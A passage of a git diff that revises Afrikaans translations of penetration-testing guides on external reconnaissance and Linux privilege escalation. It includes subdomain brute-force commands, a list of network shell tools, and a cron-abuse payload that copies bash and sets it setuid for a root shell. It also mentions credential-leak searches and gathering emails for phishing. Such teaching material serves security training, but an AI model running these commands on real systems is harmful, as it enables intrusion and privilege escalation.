bekende dns-server (1.1.1.1, 8.8.8.8) te gebruik. +Aangesien jy al die IP-reekse van die domeine gevind het, kan jy probeer om **reverse dns opsoekings** op daardie **IPs uit te voer om meer domeine binne die omvang te vind**. Probeer om 'n dns-bediener van die slagoffer of 'n bekende dns-bediener (1.1.1.1, 8.8.8.8) te gebruik. ```bash dnsrecon -r -n #DNS reverse of all of the addresses dnsrecon -d facebook.com -r 157.240.221.35/24 #Using facebooks dns @@ -81,7 +80,7 @@ dnsrecon -r 157.240.221.35/24 -n 8.8.8.8 #Using google dns Vir dit om te werk, moet die administrateur handmatig die PTR inskakel.\ Jy kan ook 'n aanlyn hulpmiddel vir hierdie inligting gebruik: [http://ptrarchive.com/](http://ptrarchive.com) -### **Reverse Whois (loop)** +### **Reverse Whois (lus)** Binne 'n **whois** kan jy 'n baie interessante **inligting** vind soos **organisasie naam**, **adres**, **e-posse**, telefoonnommers... Maar wat selfs meer interessant is, is dat jy **meer bates wat met die maatskappy verband hou** kan vind as jy **reverse whois soektogte deur enige van daardie velde** uitvoer (byvoorbeeld ander whois registrasies waar dieselfde e-pos verskyn).\ Jy kan aanlyn hulpmiddels soos gebruik: @@ -101,7 +100,7 @@ Jy kan ook 'n paar outomatiese reverse whois ontdekking uitvoer met [amass](http ### **Trackers** -As jy die **dieselfde ID van dieselfde tracker** op 2 verskillende bladsye vind, kan jy aanvaar dat **albei bladsye** deur **dieselfde span** bestuur word.\ +As jy die **dieselfde ID van die dieselfde tracker** op 2 verskillende bladsye vind, kan jy veronderstel dat **albei bladsye** **deur dieselfde span bestuur word**.\ Byvoorbeeld, as jy dieselfde **Google Analytics ID** of dieselfde **Adsense ID** op verskeie bladsye sien. Daar is 'n paar bladsye en hulpmiddels wat jou toelaat om deur hierdie trackers en meer te soek: @@ -172,7 +171,7 @@ Dit is blykbaar algemeen dat mense subdomeine aan IP's toewys wat aan wolkverska Soos jy reeds weet, die naam van die organisasie wat die IP-ruimte besit. Jy kan daarna soek in shodan met: `org:"Tesla, Inc."` Kyk na die gevonde gashere vir nuwe onverwagte domeine in die TLS-sertifikaat. -Jy kan die **TLS-sertifikaat** van die hoofwebblad toegang, die **Organisasienaam** verkry en dan vir daardie naam soek binne die **TLS-sertifikate** van al die webbladsye wat bekend is deur **shodan** met die filter: `ssl:"Tesla Motors"` of gebruik 'n hulpmiddel soos [**sslsearch**](https://github.com/HarshVaragiya/sslsearch). +Jy kan die **TLS-sertifikaat** van die hoofwebblad toegang, die **Organisasie naam** verkry en dan vir daardie naam soek binne die **TLS-sertifikate** van al die webbladsye wat bekend is deur **shodan** met die filter: `ssl:"Tesla Motors"` of gebruik 'n hulpmiddel soos [**sslsearch**](https://github.com/HarshVaragiya/sslsearch). **Assetfinder** @@ -185,8 +184,6 @@ Kyk vir 'n paar [domein oornemings](../../pentesting-web/domain-subdomain-takeov As jy enige **domein met 'n IP anders** as diegene wat jy reeds in die batesontdekking gevind het, vind, moet jy 'n **basiese kwesbaarheidsskandering** uitvoer (met Nessus of OpenVAS) en 'n paar [**poortsken**](../pentesting-network/#discovering-hosts-from-the-outside) met **nmap/masscan/shodan**. Afhangende van watter dienste aan die gang is, kan jy in **hierdie boek 'n paar truuks vind om hulle te "aanval"**.\ &#xNAN;_Note dat soms die domein gehos is binne 'n IP wat nie deur die kliënt beheer word nie, so dit is nie in die omvang nie, wees versigtig._ - - ## Subdomeine > Ons weet al die maatskappye binne die omvang, al die bates van elke maatskappy en al die domeine wat aan die maatskappye verband hou. @@ -194,11 +191,11 @@ As jy enige **domein met 'n IP anders** as diegene wat jy reeds in die batesontd Dit is tyd om al die moontlike subdomeine van elke gevonde domein te vind. > [!TIP] -> Let daarop dat sommige van die hulpmiddels en tegnieke om domeine te vind ook kan help om subdomeine te vind +> Let daarop dat sommige van die hulpmiddels en tegnieke om domeine te vind ook kan help om subdomeine te vind. ### **DNS** -Kom ons probeer om **subdomeine** van die **DNS** rekords te kry. Ons moet ook probeer vir **Zone Oordrag** (As kwesbaar, moet jy dit rapporteer). +Kom ons probeer om **subdomeine** van die **DNS** rekords te verkry. Ons moet ook probeer vir **Zone Oordrag** (As kwesbaar, moet jy dit rapporteer). ```bash dnsrecon -a -d tesla.com ``` @@ -348,7 +345,7 @@ grep -E "tesla.com. [0-9]+ IN A .+" /tmp/results.txt ``` gobuster dns -d mysite.com -t 50 -w subdomains.txt ``` -- [**shuffledns**](https://github.com/projectdiscovery/shuffledns) is 'n wrapper rondom `massdns`, geskryf in go, wat jou toelaat om geldige subdomeine te enumereer deur aktiewe bruteforce, sowel as om subdomeine met wildcard hantering en maklike invoer-uitvoer ondersteuning op te los. +- [**shuffledns**](https://github.com/projectdiscovery/shuffledns) is 'n wrapper rondom `massdns`, geskryf in go, wat jou toelaat om geldige subdomeine te enumereer deur aktiewe bruteforce, sowel as om subdomeine op te los met wildcard hanteering en maklike invoer-uitvoer ondersteuning. ``` shuffledns -d example.com -list example-subdomains.txt -r resolvers.txt ``` @@ -368,17 +365,17 @@ Nadat jy subdomeine gevind het met behulp van oop bronne en brute-forcing, kan j ```bash cat subdomains.txt | dnsgen - ``` -- [**goaltdns**](https://github.com/subfinder/goaltdns): Gegewe die domeine en subdomeine genereer permutasies. +- [**goaltdns**](https://github.com/subfinder/goaltdns): Gegee die domeine en subdomeine, genereer permutasies. - Jy kan goaltdns permutasies **woordlys** in [**hier**](https://github.com/subfinder/goaltdns/blob/master/words.txt) kry. ```bash goaltdns -l subdomains.txt -w /tmp/words-permutations.txt -o /tmp/final-words-s3.txt ``` -- [**gotator**](https://github.com/Josue87/gotator)**:** Gegewe die domeine en subdomeine genereer permutasies. As daar nie 'n permutasie-lêer aangedui word nie, sal gotator sy eie een gebruik. +- [**gotator**](https://github.com/Josue87/gotator)**:** Gegewe die domeine en subdomeine genereer permutasies. As geen permutasie-lêer aangedui is nie, sal gotator sy eie een gebruik. ``` gotator -sub subdomains.txt -silent [-perm /tmp/words-permutations.txt] ``` - [**altdns**](https://github.com/infosec-au/altdns): Behalwe om subdomein permutasies te genereer, kan dit ook probeer om hulle op te los (maar dit is beter om die vorige genoem gereedskap te gebruik). -- Jy kan altdns permutasies **woordlys** kry in [**hier**](https://github.com/infosec-au/altdns/blob/master/words.txt). +- Jy kan altdns permutasies **woordlys** in [**hier**](https://github.com/infosec-au/altdns/blob/master/words.txt) kry. ``` altdns -i subdomains.txt -w /tmp/words-permutations.txt -o /tmp/asd3 ``` @@ -406,13 +403,17 @@ echo www | subzuf facebook.com Kyk na hierdie blogpos wat ek geskryf het oor hoe om die **subdomein ontdekking** van 'n domein te **automate** met behulp van **Trickest werkvloei** sodat ek nie 'n klomp gereedskap handmatig op my rekenaar hoef te begin nie: -{% embed url="https://trickest.com/blog/full-subdomain-discovery-using-workflow/" %} +{{#ref}} +https://trickest.com/blog/full-subdomain-discovery-using-workflow/ +{{#endref}} -{% embed url="https://trickest.com/blog/full-subdomain-brute-force-discovery-using-workflow/" %} +{{#ref}} +https://trickest.com/blog/full-subdomain-brute-force-discovery-using-workflow/ +{{#endref}} ### **VHosts / Virtuele Gashere** -As jy 'n IP-adres gevind het wat **een of verskeie webbladsye** bevat wat aan subdomeine behoort, kan jy probeer om **ander subdomeine met webbladsye in daardie IP** te vind deur in **OSINT bronne** te kyk vir domeine in 'n IP of deur **brute-force VHost domeinnaam in daardie IP**. +As jy 'n IP-adres gevind het wat **een of verskeie webbladsye** bevat wat aan subdomeine behoort, kan jy probeer om **ander subdomeine met webbladsye in daardie IP** te **vind** deur in **OSINT bronne** te kyk vir domeine in 'n IP of deur **brute-force VHost domeinnaam in daardie IP**. #### OSINT @@ -435,7 +436,7 @@ vhostbrute.py --url="example.com" --remoteip="10.1.1.15" --base="www.example.com VHostScan -t example.com ``` > [!NOTE] -> Met hierdie tegniek kan jy dalk selfs toegang verkry tot interne/verborgene eindpunte. +> Met hierdie tegniek mag jy selfs toegang hê tot interne/verborgene eindpunte. ### **CORS Brute Force** @@ -446,26 +447,26 @@ ffuf -w subdomains-top1million-5000.txt -u http://10.10.10.208 -H 'Origin: http: ### **Buckets Brute Force** Terwyl jy na **subdomeine** soek, hou 'n oog op of dit na enige tipe **emmer** **wys**, en in daardie geval [**kontroleer die toestemmings**](../../network-services-pentesting/pentesting-web/buckets/)**.**\ -Ook, aangesien jy op hierdie punt al die domeine binne die omvang sal weet, probeer om [**brute force moontlike emmername en kontroleer die toestemmings**](../../network-services-pentesting/pentesting-web/buckets/). +Ook, aangesien jy op hierdie punt al die domeine binne die omvang sal ken, probeer om [**brute force moontlike emmername en kontroleer die toestemmings**](../../network-services-pentesting/pentesting-web/buckets/). ### **Monitorisering** -Jy kan **moniteer** of **nuwe subdomeine** van 'n domein geskep word deur die **Certificate Transparency** Logs [**sublert** ](https://github.com/yassineaboukir/sublert/blob/master/sublert.py) te monitor. +Jy kan **monitor** of **nuwe subdomeine** van 'n domein geskep word deur die **Certificate Transparency** Logs [**sublert** ](https://github.com/yassineaboukir/sublert/blob/master/sublert.py) te monitor. ### **Soek na kwesbaarhede** Kontroleer vir moontlike [**subdomein oorneem**](../../pentesting-web/domain-subdomain-takeover.md#subdomain-takeover).\ As die **subdomein** na 'n **S3-emmer** **wys**, [**kontroleer die toestemmings**](../../network-services-pentesting/pentesting-web/buckets/). -As jy enige **subdomein met 'n IP anders** as diegene wat jy reeds in die batesontdekking gevind het, vind, moet jy 'n **basiese kwesbaarheidsskandering** (met Nessus of OpenVAS) en 'n [**poortskaande**](../pentesting-network/#discovering-hosts-from-the-outside) met **nmap/masscan/shodan** uitvoer. Afhangende van watter dienste aan die gang is, kan jy in **hierdie boek 'n paar truuks vind om hulle te "aanval"**.\ -&#xNAN;_Note dat soms die subdomein gehos is binne 'n IP wat nie deur die kliënt beheer word nie, so dit is nie in die omvang nie, wees versigtig._ +As jy enige **subdomein met 'n IP verskil** van diegene wat jy reeds in die batesontdekking gevind het, moet jy 'n **basiese kwesbaarheidsskandering** (met Nessus of OpenVAS) en 'n [**poortskaande**](../pentesting-network/#discovering-hosts-from-the-outside) met **nmap/masscan/shodan** uitvoer. Afhangende van watter dienste aan die gang is, kan jy in **hierdie boek 'n paar truuks vind om hulle te "aanval"**.\ +&#xNAN;_Nlet daarop dat die subdomein soms gehos is binne 'n IP wat nie deur die kliënt beheer word nie, so dit is nie in die omvang nie, wees versigtig._ ## IPs -In die aanvanklike stappe het jy dalk **sommige IP-reekse, domeine en subdomeine** **gevind**.\ +In die aanvanklike stappe mag jy **sommige IP-reekse, domeine en subdomeine** **gevind het**.\ Dit is tyd om **al die IPs van daardie reekse te versamel** en vir die **domeine/subdomeine (DNS-vrae).** -Deur dienste van die volgende **gratis apis** te gebruik, kan jy ook **vorige IPs wat deur domeine en subdomeine gebruik is, vind**. Hierdie IPs mag steeds deur die kliënt besit word (en mag jou toelaat om [**CloudFlare omseilings**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md) te vind) +Deur dienste van die volgende **gratis API's** te gebruik, kan jy ook **vorige IPs wat deur domeine en subdomeine gebruik is, vind**. Hierdie IPs mag steeds deur die kliënt besit word (en mag jou toelaat om [**CloudFlare omseilings**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md) te vind) - [**https://securitytrails.com/**](https://securitytrails.com/) @@ -481,23 +482,23 @@ Jy kan ook kyk vir domeine wat na 'n spesifieke IP-adres wys met die hulpmiddel > Ons het al die maatskappye en hul bates gevind en ons weet IP-reekse, domeine en subdomeine binne die omvang. Dit is tyd om na webbedieners te soek. -In die vorige stappe het jy waarskynlik al 'n paar **recon van die IPs en domeine ontdek** uitgevoer, so jy mag **al die moontlike webbedieners** **gevind het**. As jy egter nie, gaan ons nou 'n paar **vinnige truuks kyk om webbedieners** binne die omvang te soek. +In die vorige stappe het jy waarskynlik al 'n paar **recon van die IPs en domeine ontdek** gedoen, so jy mag **al die moontlike webbedieners** **gevind het**. As jy egter nie, gaan ons nou 'n paar **vinnige truuks kyk om webbedieners** binne die omvang te soek. -Neem asseblief kennis dat dit **georiënteer sal wees op webtoepassingsontdekking**, so jy moet ook **die kwesbaarheid** en **poortskaande** uitvoer (**indien toegelaat** deur die omvang). +Let asseblief daarop dat dit **georiënteer sal wees op webtoepassingsontdekking**, so jy moet ook **die kwesbaarheid** en **poortskaande** uitvoer (**as toegelaat** deur die omvang). -'n **Vinnige metode** om **oop poorte** wat verband hou met **web** bedieners te ontdek, gebruik [**masscan** kan hier gevind word](../pentesting-network/#http-port-discovery).\ -Nog 'n vriendelike hulpmiddel om na webbedieners te soek is [**httprobe**](https://github.com/tomnomnom/httprobe)**,** [**fprobe**](https://github.com/theblackturtle/fprobe) en [**httpx**](https://github.com/projectdiscovery/httpx). Jy gee net 'n lys van domeine en dit sal probeer om met poort 80 (http) en 443 (https) te verbind. Daarbenewens kan jy aandui om ander poorte te probeer: +'n **Vinnige metode** om **oop poorte** wat verband hou met **web** bedieners te ontdek, kan met [**masscan** hier gevind word](../pentesting-network/#http-port-discovery).\ +Nog 'n vriendelike hulpmiddel om na webbedieners te soek is [**httprobe**](https://github.com/tomnomnom/httprobe)**,** [**fprobe**](https://github.com/theblackturtle/fprobe) en [**httpx**](https://github.com/projectdiscovery/httpx). Jy gee net 'n lys van domeine en dit sal probeer om met poort 80 (http) en 443 (https) te verbind. Boonop kan jy aandui om ander poorte te probeer: ```bash cat /tmp/domains.txt | httprobe #Test all domains inside the file for port 80 and 443 cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 and 8080 and 8443 ``` -### **Skermskoots** +### **Skermskoot** -Nou dat jy **alle webbedieners** in die omvang ontdek het (tussen die **IP's** van die maatskappy en al die **domeine** en **subdomeine**) weet jy waarskynlik **nie waar om te begin nie**. Laat ons dit eenvoudig maak en begin net deur skermskoots van al hulle te neem. Net deur **na die hoofblad** te **kyk**, kan jy **vreemde** eindpunte vind wat meer **geneig** is om **kwulnerabel** te wees. +Nou dat jy **alle webbedieners** in die omvang ontdek het (tussen die **IP's** van die maatskappy en al die **domeine** en **subdomeine**) weet jy waarskynlik **nie waar om te begin nie**. Kom ons maak dit eenvoudig en begin net met die neem van skermskote van al hulle. Net deur **na die hoofblad** te **kyk** kan jy **vreemde** eindpunte vind wat meer **geneig** is om **kwulnerabel** te wees. -Om die voorgestelde idee uit te voer, kan jy [**EyeWitness**](https://github.com/FortyNorthSecurity/EyeWitness), [**HttpScreenshot**](https://github.com/breenmachine/httpscreenshot), [**Aquatone**](https://github.com/michenriksen/aquatone), [**Shutter**](https://shutter-project.org/downloads/third-party-packages/), [**Gowitness**](https://github.com/sensepost/gowitness) of [**webscreenshot**](https://github.com/maaaaz/webscreenshot)** gebruik.** +Om die voorgestelde idee uit te voer, kan jy [**EyeWitness**](https://github.com/FortyNorthSecurity/EyeWitness), [**HttpScreenshot**](https://github.com/breenmachine/httpscreenshot), [**Aquatone**](https://github.com/michenriksen/aquatone), [**Shutter**](https://shutter-project.org/downloads/third-party-packages/), [**Gowitness**](https://github.com/sensepost/gowitness) of [**webscreenshot**](https://github.com/maaaaz/webscreenshot)**.** -Boonop kan jy dan [**eyeballer**](https://github.com/BishopFox/eyeballer) gebruik om oor al die **skermskoots** te loop om jou te vertel **wat waarskynlik kwulnerabelhede bevat**, en wat nie. +Boonop kan jy dan [**eyeballer**](https://github.com/BishopFox/eyeballer) gebruik om oor al die **skermskote** te loop om vir jou te sê **wat waarskynlik kwesbaarhede bevat**, en wat nie. ## Publieke Wolk Bate @@ -511,11 +512,11 @@ Jy sal ook woordlyste van **gewone woorde wat in emmers gebruik word** benodig: Dan, met daardie woorde moet jy **permutasies** genereer (kyk na die [**Tweede Ronde DNS Brute-Force**](./#second-dns-bruteforce-round) vir meer inligting). -Met die resulterende woordlyste kan jy gereedskap soos [**cloud_enum**](https://github.com/initstring/cloud_enum)**,** [**CloudScraper**](https://github.com/jordanpotti/CloudScraper)**,** [**cloudlist**](https://github.com/projectdiscovery/cloudlist) **of** [**S3Scanner**](https://github.com/sa7mon/S3Scanner)** gebruik.** +Met die resulterende woordlyste kan jy gereedskap soos [**cloud_enum**](https://github.com/initstring/cloud_enum)**,** [**CloudScraper**](https://github.com/jordanpotti/CloudScraper)**,** [**cloudlist**](https://github.com/projectdiscovery/cloudlist) **of** [**S3Scanner**](https://github.com/sa7mon/S3Scanner)**.** Onthou dat wanneer jy na Wolk Bates soek, jy moet **kyk na meer as net emmers in AWS**. -### **Soek na kwulnerabelhede** +### **Soek na kwesbaarhede** As jy dinge soos **oop emmers of blootgestelde wolk funksies** vind, moet jy **hulle toegang** en probeer om te sien wat hulle jou bied en of jy hulle kan misbruik. @@ -528,9 +529,9 @@ Met die **domeine** en **subdomeine** binne die omvang het jy basies alles wat j - API van [**https://app.snov.io/**](https://app.snov.io/) (gratis weergawe) - API van [**https://minelead.io/**](https://minelead.io/) (gratis weergawe) -### **Soek na kwulnerabelhede** +### **Soek na kwesbaarhede** -E-posse sal later handig te pas kom om **brute-force web aanmeldings en auth dienste** (soos SSH) te doen. Ook, hulle is nodig vir **phishings**. Boonop sal hierdie API's jou selfs meer **inligting oor die persoon** agter die e-pos gee, wat nuttig is vir die phishing veldtog. +E-posse sal later handig te pas kom om **brute-force web aanmeldings en outentikasiedienste** (soos SSH) te doen. Ook, hulle is nodig vir **phishings**. Boonop sal hierdie API's jou selfs meer **inligting oor die persoon** agter die e-pos gee, wat nuttig is vir die phishing veldtog. ## Kredensiaal Leke @@ -539,24 +540,24 @@ Met die **domeine,** **subdomeine**, en **e-posse** kan jy begin soek na kredens - [https://leak-lookup.com](https://leak-lookup.com/account/login) - [https://www.dehashed.com/](https://www.dehashed.com/) -### **Soek na kwulnerabelhede** +### **Soek na kwesbaarhede** As jy **geldige gelekte** kredensiale vind, is dit 'n baie maklike oorwinning. ## Geheime Leke -Kredensiaal leke is verwant aan hacks van maatskappye waar **sensitiewe inligting gelek en verkoop is**. egter, maatskappye mag geraak word deur **ander leke** waarvan die inligting nie in daardie databasisse is nie: +Kredensiaal leke is verwant aan hacks van maatskappye waar **sensitiewe inligting gelek en verkoop** is. egter, maatskappye mag geraak word deur **ander leke** waarvan die inligting nie in daardie databasisse is nie: ### Github Leke Kredensiale en API's mag in die **openbare repositories** van die **maatskappy** of van die **gebruikers** wat vir daardie github maatskappy werk, gelek word.\ -Jy kan die **gereedskap** [**Leakos**](https://github.com/carlospolop/Leakos) gebruik om **alle openbare repos** van 'n **organisasie** en sy **ontwikkelaars** te **aflaai** en [**gitleaks**](https://github.com/zricethezav/gitleaks) daaroor outomaties te laat loop. +Jy kan die **gereedskap** [**Leakos**](https://github.com/carlospolop/Leakos) gebruik om **alle openbare repos** van 'n **organisasie** en sy **ontwikkelaars** af te laai en [**gitleaks**](https://github.com/zricethezav/gitleaks) daaroor outomaties te laat loop. -**Leakos** kan ook gebruik word om **gitleaks** teen alle **teks** te laat loop wat **URL's wat aan dit gegee is** as soms **web bladsye ook geheime bevat**. +**Leakos** kan ook gebruik word om **gitleaks** teen al die **teks** te laat loop wat **URL's wat aan dit gegee is** as soms **webbladsye ook geheime bevat**. #### Github Dorks -Kyk ook na hierdie **bladsy** vir potensiële **github dorks** wat jy ook in die organisasie wat jy aanval kan soek: +Kyk ook na hierdie **bladsy** vir potensiële **github dorks** wat jy ook in die organisasie wat jy aanval, kan soek: {{#ref}} github-leaked-secrets.md @@ -569,17 +570,17 @@ Jy kan die gereedskap [**Pastos**](https://github.com/carlospolop/Pastos) gebrui ### Google Dorks -Ou maar goud google dorks is altyd nuttig om **blootgestelde inligting wat daar nie behoort te wees nie** te vind. Die enigste probleem is dat die [**google-hacking-database**](https://www.exploit-db.com/google-hacking-database) verskeie **duisende** moontlike navrae bevat wat jy nie handmatig kan uitvoer nie. So, jy kan jou gunsteling 10 kies of jy kan 'n **gereedskap soos** [**Gorks**](https://github.com/carlospolop/Gorks) **gebruik om hulle almal uit te voer**. +Ou maar goud google dorks is altyd nuttig om **blootgestelde inligting wat daar nie moet wees nie** te vind. Die enigste probleem is dat die [**google-hacking-database**](https://www.exploit-db.com/google-hacking-database) verskeie **duisende** moontlike navrae bevat wat jy nie handmatig kan uitvoer nie. So, jy kan jou gunsteling 10 kies of jy kan 'n **gereedskap soos** [**Gorks**](https://github.com/carlospolop/Gorks) **gebruik om hulle almal uit te voer**. -_Noteer dat die gereedskap wat verwag om die hele databasis met die gewone Google-blaaier te laat loop, nooit sal eindig nie, aangesien google jou baie gou sal blokkeer._ +_Noteer dat die gereedskap wat verwag om die hele databasis met die gewone Google-blaaier te laat loop, nooit sal eindig nie, aangesien google jou baie, baie gou sal blokkeer._ -### **Soek na kwulnerabelhede** +### **Soek na kwesbaarhede** As jy **geldige gelekte** kredensiale of API tokens vind, is dit 'n baie maklike oorwinning. -## Publieke Kode Kwulnerabelhede +## Publieke Kode Kwesbaarhede -As jy gevind het dat die maatskappy **open-source kode** het, kan jy dit **analiseer** en soek na **kwulnerabelhede** daarin. +As jy gevind het dat die maatskappy **open-source kode** het, kan jy dit **analiseer** en soek na **kwesbaarhede** daarin. **Afhangende van die taal** is daar verskillende **gereedskap** wat jy kan gebruik: @@ -593,9 +594,9 @@ Daar is ook gratis dienste wat jou toelaat om **openbare repositories** te **ska ## [**Pentesting Web Metodologie**](../../network-services-pentesting/pentesting-web/) -Die **meerderheid van die kwulnerabelhede** wat deur foutjagters gevind word, is binne **webtoepassings**, so op hierdie punt wil ek graag oor 'n **webtoepassing toets metodologie** praat, en jy kan [**hierdie inligting hier vind**](../../network-services-pentesting/pentesting-web/). +Die **meerderheid van die kwesbaarhede** wat deur foutjagters gevind word, is binne **webtoepassings**, so op hierdie punt wil ek oor 'n **webtoepassing toetsing metodologie** praat, en jy kan [**hierdie inligting hier vind**](../../network-services-pentesting/pentesting-web/). -Ek wil ook 'n spesiale vermelding maak van die afdeling [**Web Geoutomatiseerde Skandeerders open source gereedskap**](../../network-services-pentesting/pentesting-web/#automatic-scanners), aangesien, as jy nie moet verwag dat hulle baie sensitiewe kwulnerabelhede sal vind nie, hulle handig te pas kom om dit in **werkvloei te implementeer om 'n paar aanvanklike webinligting te hê.** +Ek wil ook 'n spesiale vermelding maak van die afdeling [**Web Geoutomatiseerde Skandeerders open source gereedskap**](../../network-services-pentesting/pentesting-web/#automatic-scanners), aangesien, as jy nie moet verwag dat hulle baie sensitiewe kwesbaarhede sal vind nie, hulle handig te pas kom om dit in **werkvloei te implementeer om 'n paar aanvanklike webinligting te hê.** ## Herhaling diff --git a/src/linux-hardening/privilege-escalation/README.md b/src/linux-hardening/privilege-escalation/README.md index 1185b2253..4dffa1d66 100644 --- a/src/linux-hardening/privilege-escalation/README.md +++ b/src/linux-hardening/privilege-escalation/README.md @@ -14,7 +14,7 @@ cat /etc/os-release 2>/dev/null # universal on modern systems ``` ### Pad -As jy **skryfreëls op enige gids binne die `PATH`** veranderlike het, mag jy in staat wees om sommige biblioteke of binêre te kap. +As jy **skryfreëls op enige gids binne die `PATH`** verander, mag jy in staat wees om sommige biblioteke of binêre te kap. ```bash echo $PATH ``` @@ -26,20 +26,20 @@ Interessante inligting, wagwoorde of API sleutels in die omgewingsveranderlikes? ``` ### Kernel exploits -Kontroleer die kern weergawe en of daar 'n eksploits is wat gebruik kan word om voorregte te verhoog +Kontroleer die kernel weergawe en of daar 'n eksploits is wat gebruik kan word om voorregte te verhoog ```bash cat /proc/version uname -a searchsploit "Linux Kernel" ``` -U kan 'n goeie kwesbare kernlys en sommige reeds **gecompileerde exploits** hier vind: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) en [exploitdb sploits](https://github.com/offensive-security/exploitdb-bin-sploits/tree/master/bin-sploits).\ -Ander webwerwe waar u 'n paar **gecompileerde exploits** kan vind: [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries), [https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack) +Jy kan 'n goeie lys van kwesbare kernel en sommige reeds **gecompileerde exploits** hier vind: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) en [exploitdb sploits](https://github.com/offensive-security/exploitdb-bin-sploits/tree/master/bin-sploits).\ +Ander webwerwe waar jy 'n paar **gecompileerde exploits** kan vind: [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries), [https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack) -Om al die kwesbare kernweergawe van daardie web te onttrek, kan u doen: +Om al die kwesbare kernel weergawes van daardie web te onttrek, kan jy doen: ```bash curl https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/README.md 2>/dev/null | grep "Kernels: " | cut -d ":" -f 2 | cut -d "<" -f 1 | tr -d "," | tr ' ' '\n' | grep -v "^\d\.\d$" | sort -u -r | tr '\n' ' ' ``` -Tools wat kan help om vir kernel exploits te soek is: +Gereedskap wat kan help om vir kernel exploits te soek, is: [linux-exploit-suggester.sh](https://github.com/mzet-/linux-exploit-suggester)\ [linux-exploit-suggester2.pl](https://github.com/jondonas/linux-exploit-suggester-2)\ @@ -79,7 +79,7 @@ Kyk na **smasher2 box of HTB** vir 'n **voorbeeld** van hoe hierdie kwesbaarheid ```bash dmesg 2>/dev/null | grep "signature" ``` -### Meer stelselenumerasie +### Meer stelselening ```bash date 2>/dev/null #Date (df -h || lsblk) #System stats @@ -121,7 +121,7 @@ fi cat /proc/sys/kernel/randomize_va_space 2>/dev/null #If 0, not enabled ``` -## Docker Breekuit +## Docker Breakout As jy binne 'n docker-container is, kan jy probeer om daaruit te ontsnap: @@ -129,9 +129,9 @@ As jy binne 'n docker-container is, kan jy probeer om daaruit te ontsnap: docker-security/ {{#endref}} -## Skywe +## Drives -Kontroleer **wat gemonteer en ongemonteer is**, waar en hoekom. As iets ongemonteer is, kan jy probeer om dit te monteer en na private inligting te kyk. +Kontroleer **wat gemonteer en nie-gemonteer is**, waar en hoekom. As iets nie-gemonteer is nie, kan jy probeer om dit te monteer en na private inligting te kyk. ```bash ls /dev 2>/dev/null | grep -i "sd" cat /etc/fstab 2>/dev/null | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null @@ -144,7 +144,7 @@ Lys nuttige binaire lêers ```bash which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch docker lxc ctr runc rkt kubectl 2>/dev/null ``` -Kontroleer ook of **enige kompilator geïnstalleer is**. Dit is nuttig as jy 'n kernuitbuiting moet gebruik, aangesien dit aanbeveel word om dit op die masjien te compileer waar jy dit gaan gebruik (of op een soortgelyke). +Kontroleer ook of **enige kompilator geïnstalleer is**. Dit is nuttig as jy 'n kern-ontploffing moet gebruik, aangesien dit aanbeveel word om dit op die masjien te compileer waar jy dit gaan gebruik (of op een soortgelyke). ```bash (dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; which gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/") ``` @@ -158,7 +158,7 @@ rpm -qa #Centos ``` As jy SSH-toegang tot die masjien het, kan jy ook **openVAS** gebruik om te kyk vir verouderde en kwesbare sagteware wat op die masjien geïnstalleer is. -> [!NOTE] > _Let daarop dat hierdie opdragte 'n baie inligting sal toon wat meestal nutteloos sal wees, daarom word dit aanbeveel om sommige toepassings soos OpenVAS of soortgelyk te gebruik wat sal kyk of enige geïnstalleerde sagteware weergawe kwesbaar is vir bekende exploits_ +> [!NOTE] > _Let daarop dat hierdie opdragte 'n baie inligting sal toon wat meestal nutteloos sal wees, daarom word dit aanbeveel om sommige toepassings soos OpenVAS of soortgelyk te gebruik wat sal kyk of enige geïnstalleerde sagteware weergawe kwesbaar is vir bekende ontploffings_ ## Prosesse @@ -188,7 +188,7 @@ However, remember that **as a regular user you can read the memory of the proces > > - **kernel.yama.ptrace_scope = 0**: alle prosesse kan gedebug wees, solank hulle die dieselfde uid het. This is the classical way of how ptracing worked. > - **kernel.yama.ptrace_scope = 1**: slegs 'n ouer proses kan gedebug wees. -> - **kernel.yama.ptrace_scope = 2**: Slegs admin kan ptrace gebruik, aangesien dit CAP_SYS_PTRACE vermoë vereis. +> - **kernel.yama.ptrace_scope = 2**: Slegs admin kan ptrace gebruik, aangesien dit die CAP_SYS_PTRACE vermoë vereis. > - **kernel.yama.ptrace_scope = 3**: Geen prosesse mag met ptrace getraceer word nie. Sodra dit gestel is, is 'n herbegin nodig om ptracing weer te aktiveer. #### GDB @@ -296,7 +296,7 @@ Die hulpmiddel [**https://github.com/huntergregal/mimipenguin**](https://github. | Gnome Sleutelhanger (Ubuntu Desktop, ArchLinux Desktop) | gnome-keyring-daemon | | LightDM (Ubuntu Desktop) | lightdm | | VSFTPd (Aktiewe FTP Verbindinge) | vsftpd | -| Apache2 (Aktiewe HTTP Basiese Auth Sessions) | apache2 | +| Apache2 (Aktiewe HTTP Basiese Auth Sessies) | apache2 | | OpenSSH (Aktiewe SSH Sessies - Sudo Gebruik) | sshd: | #### Search Regexes/[truffleproc](https://github.com/controlplaneio/truffleproc) @@ -356,7 +356,7 @@ echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > #Wait until it is executed /tmp/bash -p ``` -As die skrip wat deur root uitgevoer word 'n **gids gebruik waar jy volle toegang het**, kan dit dalk nuttig wees om daardie gids te verwyder en 'n **simboliese skakelgids na 'n ander een** te skep wat 